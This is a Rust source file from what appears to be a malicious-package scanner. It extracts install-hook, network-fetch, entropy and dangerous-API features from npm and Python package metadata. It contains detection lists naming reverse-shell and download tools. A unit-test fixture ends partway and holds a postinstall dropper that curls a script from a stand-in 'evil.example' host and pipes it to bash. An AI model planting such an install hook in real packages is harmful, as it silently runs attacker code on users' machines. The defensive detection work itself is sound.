src/behavior.rs
//! Package **behaviour / metadata features** for the A23 malicious-package model
//! (feature `scan`).
//!
//! The academic malicious-npm/PyPI detectors (Socket H1-2025; arXiv 2412.05259 /
//! 2309.02637) score a package on a handful of high-signal, cheap-to-extract
//! features of its *published metadata* — long before any code runs:
//!
//! - **install-script hooks** — does the package run code automatically at install
//! (`preinstall` / `install` / `postinstall` / `prepare`)? Nearly every npm
//! malware sample uses one; a legitimate library rarely needs to.
//! - **network-in-install** — does an install hook *fetch from the network*
//! (`curl` / `wget` / `fetch(` / `Invoke-WebRequest` / a raw URL)? The classic
//! dropper: install hook → download stage-2 → execute.
//! - **# URLs** — how many `http(s)://` endpoints the scripts reference.
//! - **string entropy** — the max Shannon entropy over long tokens in the install
//! scripts (a base64 / packed payload sits near-maximal; reuses the SAME
//! [`crate::core::shannon_entropy`] the SCIP A17 obfuscation tripwire keys on —
//! one metric, never a twin, L5).
//! - **sensitive-API set** — which dangerous primitives the install scripts touch
//! (`child_process` / `eval(` / `atob(` / `/dev/tcp` / …): the isolation-forest
//! / behaviour-sequence feature axis.
//!
//! This is the *feature-extraction* front-end (the read side, mirroring
//! `feeds::parse_*` / `provenance::parse_scorecard`): offline, **no code execution**
//! — it reads a package's published metadata **text** and folds it into
//! [`PackageBehavior`], whose [`findings`](PackageBehavior::findings) turn the
//! features into advisory [`Finding`]s the verdict surface consumes. The model
//! (scoring the feature vector) is the dynamic-plane consumer; the features live
//! here so every consumer extracts them the same way.
//!
//! **Four ecosystem front-ends, one folder.** [`parse_npm_package`] reads an npm
//! `package.json`'s auto-run scripts; [`parse_pypi_setup`] reads a PyPI `setup.py`'s
//! install-time code; [`parse_pyproject_toml`] reads a PEP 621 / PEP 517
//! `pyproject.toml`; [`parse_setup_cfg`] reads a setuptools `setup.cfg`. All funnel
//! through the SAME pure `extract_from_install_text` folder and produce the SAME
//! [`PackageBehavior`] + [`Finding`]s — never a per-ecosystem twin (L5). A new
//! ecosystem is one more thin front-end over that folder.
//!
//! **Why `pyproject.toml` AND `setup.cfg` need section-aware front-ends (NOT a
//! whole-file scan).** Both are *declarative* config (TOML / INI), so — unlike a
//! `setup.py` (which runs in full) — a naive text scan false-positives: a
//! `dependencies`/`install_requires` list embedding `urllib3` trips the `urllib`
//! network needle, and a `[project.urls]` / `[metadata] url` homepage trips
//! `https://`. Both front-ends are therefore section-aware line-scanners (no `toml` /
//! `ini` crate — the lean `scan` gate stays pure) that fold ONLY the build/install-
//! active sections and skip the declarative metadata + dependency lists.
//!
//! **Why `pyproject.toml` needs a section-aware front-end (NOT a whole-file scan).**
//! Unlike a `setup.py` (which runs in full) a `pyproject.toml` is *declarative* TOML:
//! most of it — `[project] dependencies`, `[project.urls]`, `[project.optional-
//! dependencies]`, a `[tool.poetry]` metadata block — never executes anything, yet a
//! naive text scan false-positives on it (a `dependencies = ["urllib3"]` trips the
//! `urllib` network needle; a `[project.urls] Homepage = "https://…"` trips the
//! `https://` needle → a spurious `network_in_install` on nearly every honest
//! project). So [`parse_pyproject_toml`] is TOML-**section-aware**: it scans ONLY the
//! sections/keys that actually run at build/install time (the `[build-system]`
//! backend spec, a PEP 517 in-tree backend `backend-path`, a `cmdclass` table, a
//! `[tool.*.build.hooks…]` build-hook table), and it skips the declarative `[project]`
//! block and declarative dependency-list keys (`requires` / `dependencies` /
//! `optional-dependencies`) even inside an active section. It uses a tiny line-scanner
//! (no `toml` dependency), so the pyproject front-end stays inside the lean `scan`
//! gate — the `toml` crate never enters the default binary (holger / static-holger
//! purity, matching the `rustsec` / `manifests` gating).
use std::collections::BTreeSet;
use crate::core::{shannon_entropy, Finding, Severity};
/// The npm lifecycle scripts npm runs **automatically** on `npm install` — the
/// only scripts that execute without the user asking, and therefore the malware
/// vector. A command under any of these keys is an *install hook*.
pub const INSTALL_HOOKS: &[&str] = &["preinstall", "install", "postinstall", "prepare"];
/// Substrings (matched case-insensitively) that indicate an install script reaches
/// out to the **network** — the stage-2 download half of a dropper.
const NETWORK_NEEDLES: &[&str] = &[
"http://",
"https://",
"curl",
"wget",
"invoke-webrequest",
"iwr ",
"node-fetch",
"fetch(",
// Python `requests` — ANY verb, not only `.get` (a dropper uses `.post`/
// `.request`/`.Session` just as easily); the `.` avoids matching a bare
// `"requests"` dependency name in a declarative list.
"requests.",
"urllib",
"urlopen",
// Python stdlib HTTP/FTP with NO scheme literal or `urllib` in the source — the
// needle-free dropper form (`http.client.HTTPSConnection(...)` / `ftplib`).
// `httpsconnection`/`httpconnection` are the lowercased class names.
"http.client",
"httpsconnection",
"httpconnection",
"ftplib",
// Node core http/https used via the module object rather than a URL string
// (`require("node:https").get(opts)`).
"https.get",
"http.get",
"https.request",
"http.request",
"node:https",
"node:http",
];
/// `(needle, label)` — dangerous primitives an install script should not normally
/// need. The needle is matched case-insensitively against the script text; the
/// label is the stable feature name reported (and deduped) in the sensitive-API set.
const SENSITIVE_APIS: &[(&str, &str)] = &[
("child_process", "child_process"),
("execsync", "exec"),
("spawnsync", "spawn"),
("spawn(", "spawn"),
("exec(", "exec"),
("eval(", "eval"),
("new function", "dynamic-code"),
("atob(", "base64-decode"),
("base64", "base64"),
("/dev/tcp", "reverse-shell"),
("bash -i", "interactive-shell"),
("node -e", "inline-eval"),
("os.system", "process-exec"),
("subprocess", "process-exec"),
// The `os.exec*` family (execv/execl/execvp/…) REPLACES the process image — the
// classic "hand off to a downloaded payload" primitive. `os.execv(` contains no
// literal `exec(` (the `v`), so it evaded the `exec(` needle; the `os.exec`
// prefix catches the whole family and is never benign in an install script.
("os.exec", "process-exec"),
// Python-specific install-time primitives (setup.py malware): deserialize-and-run
// and dynamic import are the classic PyPI payload-hiding tricks.
("marshal.loads", "deserialize-exec"),
("pickle.loads", "deserialize-exec"),
("__import__(", "dynamic-import"),
];
/// Sensitive-API labels (from [`SENSITIVE_APIS`]) that are NEVER legitimate in an
/// install script — a reverse shell / interactive shell is a peer threat to the
/// dropper, so their presence lifts the sensitive-API finding to **High** (not the
/// default Medium a generic `exec`/`subprocess` earns).
const HIGH_RISK_APIS: &[&str] = &["reverse-shell", "interactive-shell"];
/// Tokens shorter than this are ignored for the entropy signal (short strings have
/// unstable entropy; a base64 payload is long).
const MIN_ENTROPY_TOKEN_LEN: usize = 16;
/// Max Shannon entropy (bits/byte) at/above which a long install-script token reads
/// as an encoded / packed payload. Base64 text sits ~4.5–5.5; English shell ~3–4.
pub const DEFAULT_OBFUSCATION_ENTROPY: f64 = 4.5;
/// The extracted A23 behaviour-feature vector for one package's published metadata.
/// Every field is a cheap, offline, metadata-only signal — no code was run to
/// produce it.
#[derive(Debug, Clone, PartialEq)]
pub struct PackageBehavior {
/// The package name (`name` from `package.json`), for finding summaries.
pub subject: String,
/// Which auto-run install-lifecycle hooks the package declares (a subset of
/// [`INSTALL_HOOKS`], in declaration order of that list).
pub install_hooks: Vec<String>,
/// An install hook reaches out to the network (dropper stage-2 fetch).
pub network_in_install: bool,
/// Count of `http(s)://` URLs referenced across the install scripts.
pub url_count: usize,
/// Max Shannon entropy over long tokens in the install scripts (obfuscation /
/// embedded-payload signal). `0.0` when there is no long token.
pub max_token_entropy: f64,
/// A long **hex-only** token is present. Shannon entropy of hex text caps at
/// `log2(16) = 4.0` bits/byte — strictly below [`DEFAULT_OBFUSCATION_ENTROPY`] —
/// so a hex-encoded payload (`bytes.fromhex("6f732e…")`) is invisible to the
/// entropy gate. This flags it directly.
pub hex_blob: bool,
/// The dangerous primitives the install scripts touch (deduped labels from
/// [`SENSITIVE_APIS`], sorted).
pub sensitive_apis: BTreeSet<String>,
}
impl PackageBehavior {
/// Fold the extracted features into advisory [`Finding`]s. The ranking follows
/// the academic signal strength: a network fetch *inside an install hook* is the
/// dropper pattern (**High**); a dangerous primitive in an install script or an
/// obfuscated/encoded payload is a strong feature (**Medium**); merely declaring
/// an install hook is a weak-but-notable feature (**Low**). A package with no
/// install hook and no dangerous feature yields no findings.
pub fn findings(&self) -> Vec<Finding> {
let mut out = Vec::new();
if self.network_in_install {
out.push(Finding {
severity: Severity::High,
id: "MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL".into(),
summary: format!(
"`{}` fetches from the network in an install hook (dropper pattern)",
self.subject
),
});
}
if !self.sensitive_apis.is_empty() {
let apis = self
.sensitive_apis
.iter()
.cloned()
.collect::<Vec<_>>()
.join(", ");
// A reverse shell (`/dev/tcp`) or an interactive shell (`bash -i`) in an
// install script is NEVER legitimate — it is a peer threat to the dropper
// (network-in-install), not a merely-suspicious primitive like a generic
// `exec`/`subprocess` (which honest build scripts do use). So a package
// that plants one is High, not Medium. FP risk is negligible: no honest
// install hook opens `/dev/tcp/<host>/<port>` or drops to `bash -i`.
let high_risk = self
.sensitive_apis
.iter()
.any(|a| HIGH_RISK_APIS.contains(&a.as_str()));
let severity = if high_risk {
Severity::High
} else {
Severity::Medium
};
out.push(Finding {
severity,
id: "MODGUNN-BEHAVIOR-SENSITIVE-API".into(),
summary: format!(
"`{}` install script uses dangerous primitives: {apis}",
self.subject
),
});
}
if self.max_token_entropy >= DEFAULT_OBFUSCATION_ENTROPY || self.hex_blob {
let detail = if self.hex_blob && self.max_token_entropy < DEFAULT_OBFUSCATION_ENTROPY {
"a long hex-encoded token".to_string()
} else {
format!(
"a high-entropy token ({:.2} bits/byte)",
self.max_token_entropy
)
};
out.push(Finding {
severity: Severity::Medium,
id: "MODGUNN-BEHAVIOR-OBFUSCATION".into(),
summary: format!(
"`{}` install script carries {detail} — likely an encoded payload",
self.subject
),
});
}
if !self.install_hooks.is_empty() {
out.push(Finding {
severity: Severity::Low,
id: "MODGUNN-BEHAVIOR-INSTALL-HOOK".into(),
summary: format!(
"`{}` runs code automatically at install via {:?}",
self.subject, self.install_hooks
),
});
}
out
}
}
/// The subset of an npm `package.json` the extractor reads. `serde` ignores the
/// many other fields (`version`, `dependencies`, `main`, …) — only the identity and
/// the lifecycle scripts feed the A23 features.
#[derive(Debug, serde::Deserialize)]
struct NpmPackageDoc {
#[serde(default)]
name: String,
#[serde(default)]
scripts: std::collections::HashMap<String, String>,
}
/// Extract the A23 [`PackageBehavior`] feature vector from an npm **`package.json`**
/// text. Pure serde_json, offline, no code executed — it reads the declared
/// lifecycle scripts and folds them into cheap metadata features. Mirrors
/// `feeds::parse_*` / `provenance::parse_scorecard`: one fixture-driven parser, the
/// shared [`Finding`] model, no twin.
///
/// The features come from the **install-lifecycle** scripts only ([`INSTALL_HOOKS`])
/// — the code npm runs automatically on `npm install`; a `test` / `build` script the
/// user opts into is not the malware vector and is not scored.
pub fn parse_npm_package(json: &str) -> Result<PackageBehavior, serde_json::Error> {
let doc: NpmPackageDoc = serde_json::from_str(json)?;
let subject = doc.name;
let mut install_hooks = Vec::new();
let mut install_text = String::new();
for hook in INSTALL_HOOKS {
if let Some(cmd) = doc.scripts.get(*hook) {
install_hooks.push((*hook).to_string());
install_text.push_str(cmd);
install_text.push('\n');
}
}
let features = extract_from_install_text(&install_text);
let behavior = PackageBehavior {
subject,
install_hooks,
network_in_install: features.network,
url_count: features.url_count,
max_token_entropy: features.max_entropy,
hex_blob: features.hex_blob,
sensitive_apis: features.sensitive,
};
// Introspection marker — the A23 behaviour-feature surface reports each package
// it folds (GREEN; a dropper-flag rides the detail) so `nornir test` SEES the
// seam. Feature-gated: a compiled-out no-op with no nornir dep in a lean build.
#[cfg(feature = "testmatrix")]
crate::functional_status(
"modgunn/behavior-features",
"parse_npm_package",
true,
&format!(
"{}: hooks={:?} network={} urls={} entropy={:.2} apis={}",
behavior.subject,
behavior.install_hooks,
behavior.network_in_install,
behavior.url_count,
behavior.max_token_entropy,
behavior.sensitive_apis.len()
),
);
Ok(behavior)
}
/// Extract the A23 [`PackageBehavior`] feature vector from a PyPI **`setup.py`**
/// text — the second ecosystem front-end (Python is the #2 malicious-package
/// ecosystem). Unlike npm's structured `scripts{}`, a `setup.py` is arbitrary
/// Python that **runs in full at `pip install` from an sdist**, so the whole file
/// *is* the install script: it is folded through the SAME
/// [`extract_from_install_text`] the npm front-end uses (network fetch / sensitive
/// primitives / encoded-payload entropy / URLs), producing the SAME
/// [`PackageBehavior`] + [`Finding`]s — no twin (L5).
///
/// The install-hook signal here is a **custom command class** (`cmdclass` wiring an
/// `install` / `develop` override, or subclassing a setuptools command) — the
/// documented PyPI persistence trick. A plain declarative `setup(name=…,
/// packages=…, install_requires=…)` with no dangerous call yields no findings; a
/// `setup.py` that `urllib.urlopen`s + `os.system`s a payload trips the network /
/// sensitive-API findings from the whole-file scan even without a `cmdclass`.
///
/// Text-scanning, offline, **no Python executed** — it never imports or runs the
/// file. Infallible (a text fold), so it returns [`PackageBehavior`] directly.
pub fn parse_pypi_setup(setup_py: &str) -> PackageBehavior {
let subject = extract_python_setup_name(setup_py);
// The entire setup.py runs at sdist install → the whole file is the install text.
let features = extract_from_install_text(setup_py);
let mut install_hooks = Vec::new();
if has_cmdclass_install_override(setup_py) {
install_hooks.push("cmdclass-install".to_string());
}
let behavior = PackageBehavior {
subject,
install_hooks,
network_in_install: features.network,
url_count: features.url_count,
max_token_entropy: features.max_entropy,
hex_blob: features.hex_blob,
sensitive_apis: features.sensitive,
};
#[cfg(feature = "testmatrix")]
crate::functional_status(
"modgunn/behavior-features",
"parse_pypi_setup",
true,
&format!(
"{}: cmdclass={} network={} urls={} entropy={:.2} apis={}",
behavior.subject,
!behavior.install_hooks.is_empty(),
behavior.network_in_install,
behavior.url_count,
behavior.max_token_entropy,
behavior.sensitive_apis.len()
),
);
behavior
}
/// Best-effort extraction of the `name=` keyword-arg from a `setup.py` / `setup.cfg`
/// text — no regex, no Python parse. Finds the FIRST `name` token that is a genuine
/// keyword arg (preceded by a non-identifier char so `filename=` / `long_name=` do
/// not match) followed by `=` and a quoted string. Empty when absent.
fn extract_python_setup_name(text: &str) -> String {
let bytes = text.as_bytes();
let mut i = 0;
while let Some(pos) = text[i..].find("name") {
let at = i + pos;
let before_ok =
at == 0 || !(bytes[at - 1].is_ascii_alphanumeric() || bytes[at - 1] == b'_');
let mut j = at + 4;
while j < bytes.len() && (bytes[j] == b' ' || bytes[j] == b'\t') {
j += 1;
}
if before_ok && j < bytes.len() && bytes[j] == b'=' {
j += 1;
while j < bytes.len() && (bytes[j] == b' ' || bytes[j] == b'\t') {
j += 1;
}
if j < bytes.len() && (bytes[j] == b'"' || bytes[j] == b'\'') {
let quote = bytes[j];
j += 1;
let start = j;
while j < bytes.len() && bytes[j] != quote {
j += 1;
}
return text[start..j].to_string();
}
}
i = at + 4;
}
String::new()
}
/// Does the `setup.py` wire a **custom install command** via `cmdclass`? The PyPI
/// install-hook signal: a `cmdclass` dict with an `install` / `develop` entry, or a
/// class subclassing a setuptools command (`(install)` / `(develop)` / `(build_py)`
/// / `(egg_info)`). Gated behind `cmdclass` so a legit `install_requires` alone
/// (which contains the substring "install") does not fire.
fn has_cmdclass_install_override(text: &str) -> bool {
let lower = text.to_ascii_lowercase();
lower.contains("cmdclass")
&& (text.contains("'install'")
|| text.contains("\"install\"")
|| text.contains("(install)")
|| text.contains("(develop)")
|| text.contains("(build_py)")
|| text.contains("(egg_info)"))
}
/// Extract the A23 [`PackageBehavior`] feature vector from a Python
/// **`pyproject.toml`** text — the THIRD ecosystem front-end. A `pyproject.toml` is
/// *declarative* TOML (it does not itself run code), so — unlike the `setup.py`
/// whole-file scan — this front-end is **section-aware**: it folds through the SAME
/// [`extract_from_install_text`] ONLY the sections/keys that run at build/install
/// time, and never the declarative metadata that would false-positive a naive scan.
///
/// **Scanned (build/install-active):** the `[build-system]` backend spec (a PEP 517
/// in-tree backend `backend-path` is itself an install-hook signal), a `cmdclass`
/// table, and a `[tool.*.build.hooks…]` build-hook table. **Skipped (declarative):**
/// the entire `[project]` block (`dependencies` / `optional-dependencies` /
/// `[project.urls]`), a `[tool.poetry]` / linter (`[tool.ruff]`, `[tool.black]`, …)
/// config block, and the dependency-list keys `requires` / `dependencies` /
/// `optional-dependencies` **even inside an active section** (build deps are still
/// declarative — a `requires = ["urllib3"]` must not trip the network needle).
///
/// So a benign declarative `pyproject.toml` (deps incl. `urllib3`, a `https://`
/// homepage) yields NO `network_in_install` finding, while a genuine build hook that
/// fetches/execs (a `curl … | bash` in a build-hook table, an in-tree backend) IS
/// flagged. Text-scanning, offline, **no code executed**; a tiny line-scanner with no
/// `toml` dependency, so it stays inside the lean `scan` gate. Infallible → returns
/// [`PackageBehavior`] directly.
pub fn parse_pyproject_toml(toml_text: &str) -> PackageBehavior {
let mut subject = String::new();
let mut install_text = String::new();
let mut in_tree_backend = false; // [build-system] backend-path — PEP 517 local backend
let mut has_cmdclass = false; // a cmdclass command-override table
let mut has_build_hook = false; // a [tool.*.build.hooks…] table
let mut section = String::new(); // current table header (brackets stripped), "" = root
let mut active = false; // is `section` build/install-active?
let mut skipping_decl_array = false; // inside a multiline declarative-deps array
for line in toml_text.lines() {
let t = line.trim();
if skipping_decl_array {
if t.contains(']') {
skipping_decl_array = false;
}
continue;
}
if t.is_empty() || t.starts_with('#') {
continue;
}
if let Some(header) = section_header(t) {
section = header;
active = is_install_active_section(§ion);
if active && section.contains("cmdclass") {
has_cmdclass = true;
}
if active && (section.contains("build.hooks") || section.contains("build-hooks")) {
has_build_hook = true;
}
continue;
}
// A `key = value` line. Capture the declarative `name` for the subject even in
// a declarative section, but never fold that section's text into the scan.
let key = t.split(['=', '.', ' ']).next().unwrap_or("").trim();
if subject.is_empty() && (section == "project" || section == "tool.poetry") && key == "name"
{
if let Some(v) = toml_string_value(t) {
subject = v;
}
}
if !active {
continue;
}
// Active section. A dependency-list key is still declarative — skip it (and its
// multiline array continuation) so build deps never trip the network needle.
if is_declarative_deps_key(key) {
let rhs = t.split_once('=').map(|(_, r)| r).unwrap_or("");
if rhs.contains('[') && !rhs.contains(']') {
skipping_decl_array = true;
}
continue;
}
if section == "build-system" && key == "backend-path" {
in_tree_backend = true;
}
install_text.push_str(line);
install_text.push('\n');
}
let features = extract_from_install_text(&install_text);
// Install-hook signal, in a stable order: an in-tree PEP 517 backend, a cmdclass
// override, a custom build hook. Any one means the project runs its own code at build.
let mut install_hooks = Vec::new();
if in_tree_backend {
install_hooks.push("pep517-backend-path".to_string());
}
if has_cmdclass {
install_hooks.push("cmdclass".to_string());
}
if has_build_hook {
install_hooks.push("build-hook".to_string());
}
let behavior = PackageBehavior {
subject,
install_hooks,
network_in_install: features.network,
url_count: features.url_count,
max_token_entropy: features.max_entropy,
hex_blob: features.hex_blob,
sensitive_apis: features.sensitive,
};
#[cfg(feature = "testmatrix")]
crate::functional_status(
"modgunn/behavior-features",
"parse_pyproject_toml",
true,
&format!(
"{}: hooks={:?} network={} urls={} entropy={:.2} apis={}",
behavior.subject,
behavior.install_hooks,
behavior.network_in_install,
behavior.url_count,
behavior.max_token_entropy,
behavior.sensitive_apis.len()
),
);
behavior
}
/// Parse a TOML table header line (`[build-system]`, `[tool.setuptools.cmdclass]`, or
/// an array-of-tables `[[tool.foo]]`) into the dotted header with the brackets
/// stripped. `None` for a non-header line.
fn section_header(trimmed: &str) -> Option<String> {
if !trimmed.starts_with('[') || !trimmed.ends_with(']') {
return None;
}
Some(
trimmed
.trim_matches(|c| c == '[' || c == ']')
.trim()
.to_string(),
)
}
/// Does this TOML table run code at build/install time? The `[build-system]` backend
/// spec, a `cmdclass` command-override table, and a `[tool.*.build.hooks…]` build-hook
/// table do; the declarative `[project]` block and `[tool.<linter>]` config do not.
fn is_install_active_section(section: &str) -> bool {
section == "build-system"
|| section.contains("cmdclass")
|| section.contains("build.hooks")
|| section.contains("build-hooks")
}
/// A declarative dependency-list key whose value is data, not executed code — its
/// value must never be folded into the install-text scan, even inside an active
/// section (a build `requires = ["urllib3"]` is a declared dep, not a network call).
fn is_declarative_deps_key(key: &str) -> bool {
matches!(key, "requires" | "dependencies" | "optional-dependencies")
}
/// Pull the first quoted string value from a TOML `key = "value"` line (single or
/// double quotes). Best-effort, no full TOML parse.
fn toml_string_value(line: &str) -> Option<String> {
let rhs = line.split_once('=')?.1.trim();
let quote = rhs.chars().next().filter(|c| *c == '"' || *c == '\'')?;
let rest = &rhs[quote.len_utf8()..];
let end = rest.find(quote)?;
Some(rest[..end].to_string())
}
/// setup.cfg keys whose value is a **declarative dependency list** (data, not
/// executed code) — never folded into the install-text scan, even inside an active
/// section, so an `install_requires = urllib3` (which embeds the `urllib` needle) or a
/// `python_requires` never trips `network_in_install`. Mirrors the pyproject
/// [`is_declarative_deps_key`] rule for the INI ecosystem.
const SETUP_CFG_DECLARATIVE_KEYS: &[&str] = &[
"install_requires",
"extras_require",
"setup_requires",
"tests_require",
"test_requires",
"python_requires",
"dependencies",
"optional-dependencies",
];
/// The `[options.entry_points]` groups whose entry points setuptools invokes as a side
/// effect of **building / installing** (register a distutils command, a setup-keyword
/// handler, a finalize-distribution hook, an egg-info writer). A `console_scripts` /
/// `gui_scripts` group only *writes a wrapper* for the USER to run later, so it is NOT
/// build-active and is skipped — the same auto-run-vs-opt-in line the npm front-end
/// draws between install hooks and a `build`/`test` script.
const BUILD_ENTRY_POINT_GROUPS: &[&str] = &[
"distutils.commands",
"distutils.setup_keywords",
"setuptools.finalize_distribution_options",
"egg_info.writers",
"setuptools.file_finders",
];
/// Extract the A23 [`PackageBehavior`] feature vector from a Python **`setup.cfg`**
/// text — the FOURTH ecosystem front-end. A `setup.cfg` is *declarative* INI (the
/// setuptools static-metadata form), so — exactly like the [`parse_pyproject_toml`]
/// front-end and unlike the `setup.py` whole-file scan — this one is **section-aware**:
/// it folds through the SAME [`extract_from_install_text`] ONLY the sections/keys that
/// run code at build/install time, and never the declarative metadata that would
/// false-positive a naive scan.
///
/// **Scanned (build/install-active):** the `[options]` `cmdclass` mapping (a custom
/// install/build command — the persistence trick), the `[options]` `dependency_links`
/// list (URLs setuptools *fetches* at build → a genuine build-time network source), and
/// a build-active `[options.entry_points]` group ([`BUILD_ENTRY_POINT_GROUPS`] — a
/// distutils command / setup-keyword hook that runs at build). **Skipped
/// (declarative):** the entire `[metadata]` block (incl. `url` / `project_urls`), every
/// declarative dependency-list key ([`SETUP_CFG_DECLARATIVE_KEYS`] — `install_requires`
/// / `extras_require` / `python_requires` / …) even inside `[options]`, an
/// `[options.extras_require]` block, and a runtime `console_scripts` / `gui_scripts`
/// entry-point group.
///
/// So a benign declarative `setup.cfg` (an `install_requires` with `urllib3`, a
/// `[metadata] url = https://…`) yields NO `network_in_install` finding, while a genuine
/// build hook — a `dependency_links` URL fetch, a `cmdclass` override, a build-command
/// entry point — IS flagged. It uses a tiny INI line-scanner (tracks `[section]` and
/// indent-continuation), **no `ini` / `configparser` crate**, so the setup.cfg
/// front-end stays inside the lean `scan` gate. Text-scanning, offline, **no code
/// executed**. Infallible → returns [`PackageBehavior`] directly.
pub fn parse_setup_cfg(text: &str) -> PackageBehavior {
let mut subject = String::new();
let mut install_text = String::new();
let mut has_cmdclass = false; // an [options] cmdclass command-override mapping
let mut has_build_entry_point = false; // a build-active [options.entry_points] group
let mut section = String::new(); // lowercased current [section] ("" = preamble)
// Whether the CURRENT key's continuation (indented) lines are build-active and
// should be folded. A new non-indented key line, or a section header, resets it.
let mut fold_continuations = false;
for line in text.lines() {
let trimmed = line.trim();
// INI comments start with `#` or `;`.
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with(';') {
continue;
}
if let Some(header) = ini_section_header(trimmed) {
section = header.to_ascii_lowercase();
fold_continuations = false;
continue;
}
// A continuation line (indented) belongs to the previous key's multiline value.
if line.starts_with(' ') || line.starts_with('\t') {
if fold_continuations {
install_text.push_str(line);
install_text.push('\n');
}
continue;
}
// A new `key = value` (or `key: value`) line at the section's top level.
let (key_raw, val) = ini_split_key(trimmed);
let key = key_raw.to_ascii_lowercase();
// The subject: `name` from `[metadata]` (captured even though the block is
// otherwise declarative-and-skipped).
if subject.is_empty() && section == "metadata" && key == "name" && !val.is_empty() {
subject = val.to_string();
}
let active = is_setup_cfg_active_key(§ion, &key);
fold_continuations = active;
if !active {
continue;
}
if section == "options" && key == "cmdclass" {
has_cmdclass = true;
}
if section == "options.entry_points" {
has_build_entry_point = true;
}
// Fold the inline value on the key line too (a single-line `dependency_links =
// https://…` carries the URL right here, not on a continuation).
if !val.is_empty() {
install_text.push_str(val);
install_text.push('\n');
}
}
let features = extract_from_install_text(&install_text);
// Install-hook signal, in a stable order: a cmdclass override, a build-active entry
// point. Either means the project runs its own code as a side effect of building.
let mut install_hooks = Vec::new();
if has_cmdclass {
install_hooks.push("cmdclass".to_string());
}
if has_build_entry_point {
install_hooks.push("build-entry-point".to_string());
}
let behavior = PackageBehavior {
subject,
install_hooks,
network_in_install: features.network,
url_count: features.url_count,
max_token_entropy: features.max_entropy,
hex_blob: features.hex_blob,
sensitive_apis: features.sensitive,
};
#[cfg(feature = "testmatrix")]
crate::functional_status(
"modgunn/behavior-features",
"parse_setup_cfg",
true,
&format!(
"{}: hooks={:?} network={} urls={} entropy={:.2} apis={}",
behavior.subject,
behavior.install_hooks,
behavior.network_in_install,
behavior.url_count,
behavior.max_token_entropy,
behavior.sensitive_apis.len()
),
);
behavior
}
/// Parse an INI section header line (`[metadata]`, `[options.entry_points]`) into the
/// name with the brackets stripped. `None` for a non-header line.
fn ini_section_header(trimmed: &str) -> Option<String> {
if trimmed.starts_with('[') && trimmed.ends_with(']') && trimmed.len() >= 2 {
Some(trimmed[1..trimmed.len() - 1].trim().to_string())
} else {
None
}
}
/// Split an INI `key = value` (or `key: value`) line at the FIRST separator, returning
/// the trimmed `(key, value)`. A `value` that itself contains `:` (a `dependency_links`
/// URL, an entry-point `name = mod:attr`) is preserved whole because we split on the
/// first `=`/`:` only. No separator ⇒ the whole line is the key, empty value.
fn ini_split_key(trimmed: &str) -> (&str, &str) {
let eq = trimmed.find('=');
let colon = trimmed.find(':');
let sep = match (eq, colon) {
(Some(a), Some(b)) => Some(a.min(b)),
(Some(a), None) => Some(a),
(None, Some(b)) => Some(b),
(None, None) => None,
};
match sep {
Some(i) => (trimmed[..i].trim(), trimmed[i + 1..].trim()),
None => (trimmed.trim(), ""),
}
}
/// Does this `setup.cfg` `(section, key)` run code at build/install time (⇒ fold its
/// value into the scan)? A declarative dependency-list key never does (even inside
/// `[options]`); otherwise only the `[options]` `cmdclass` / `dependency_links` keys and
/// a build-active `[options.entry_points]` group do. The `[metadata]` block and a
/// runtime `console_scripts` group do not.
fn is_setup_cfg_active_key(section: &str, key: &str) -> bool {
if SETUP_CFG_DECLARATIVE_KEYS.contains(&key) {
return false;
}
match section {
"options" => key == "cmdclass" || key == "dependency_links",
"options.entry_points" => BUILD_ENTRY_POINT_GROUPS.contains(&key),
_ => false,
}
}
/// The raw features pulled from the concatenated install-script text.
struct InstallFeatures {
network: bool,
url_count: usize,
max_entropy: f64,
hex_blob: bool,
sensitive: BTreeSet<String>,
}
/// Pure feature extraction over the install-script text — split out so it is unit-
/// testable in isolation and reusable by a future ecosystem front-end (a PyPI
/// `setup.py` extractor would feed its install code through the SAME folder).
fn extract_from_install_text(text: &str) -> InstallFeatures {
let lower = text.to_ascii_lowercase();
let url_count = lower.matches("http://").count() + lower.matches("https://").count();
let network = NETWORK_NEEDLES.iter().any(|n| lower.contains(n));
let mut sensitive = BTreeSet::new();
for (needle, label) in SENSITIVE_APIS {
if lower.contains(needle) {
sensitive.insert((*label).to_string());
}
}
// Max entropy over long whitespace-split tokens (the base64/packed-payload
// signal). Split on the ORIGINAL text so case is preserved for entropy.
let max_entropy = text
.split(|c: char| c.is_whitespace())
.filter(|t| t.len() >= MIN_ENTROPY_TOKEN_LEN)
.map(shannon_entropy)
.fold(0.0_f64, f64::max);
// Hex blindspot: the entropy of hex text caps at log2(16) = 4.0 bits/byte,
// strictly below the obfuscation gate, so a hex-encoded payload
// (`bytes.fromhex("6f732e73797374656d28…")`) is invisible to `max_entropy`. It
// also lives INSIDE a token (quotes/parens around it), so scan for the longest
// contiguous run of hex digits directly. Require a letter (`a-f`) in the run so
// a long decimal literal (a version, a timestamp) is not mistaken for hex.
let hex_blob = longest_hex_run_has_letter(text, MIN_ENTROPY_TOKEN_LEN);
InstallFeatures {
network,
url_count,
max_entropy,
hex_blob,
sensitive,
}
}
/// True when `text` contains a contiguous run of ≥ `min_len` ASCII hex digits that
/// includes at least one `a–f`/`A–F` (so a pure-decimal run doesn't count).
fn longest_hex_run_has_letter(text: &str, min_len: usize) -> bool {
let (mut run, mut has_letter) = (0usize, false);
for b in text.bytes() {
if b.is_ascii_hexdigit() {
run += 1;
has_letter |= b.is_ascii_alphabetic();
if run >= min_len && has_letter {
return true;
}
} else {
run = 0;
has_letter = false;
}
}
false
}
#[cfg(test)]
mod tests {
use super::*;
/// RED-when-broken: a real malicious `package.json` — a `postinstall` that
/// `curl`s a URL and pipes it to `bash` — MUST fold to a **High**
/// `MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL` finding (the dropper pattern) plus the
/// install-hook Low. If network-in-install detection or the severity mapping
/// breaks, the High-label assertion fires red.
#[test]
fn dropper_postinstall_maps_to_high_network_finding() {
#[cfg(feature = "testmatrix")]
let _guard = crate::testmatrix_test_guard(); // serialize the shared drain buffer
#[cfg(feature = "testmatrix")]
let _ = nornir_testmatrix::drain_functional_rows(); // clean buffer
let json = r#"{
"name": "left-pad-helper",
"version": "9.9.9",
"scripts": {
"postinstall": "curl -s https://evil.example/stage2.sh | bash",
"test": "echo ok"
}
}"#;
let b = parse_npm_package(json).unwrap();
assert_eq!(b.subject, "left-pad-helper");
assert_eq!(
b.install_hooks,
vec!["postinstall"],
"only the auto-run hook is scored, not `test`"
);
assert!(
b.network_in_install,
"curl to a URL in postinstall is a network fetch"
);
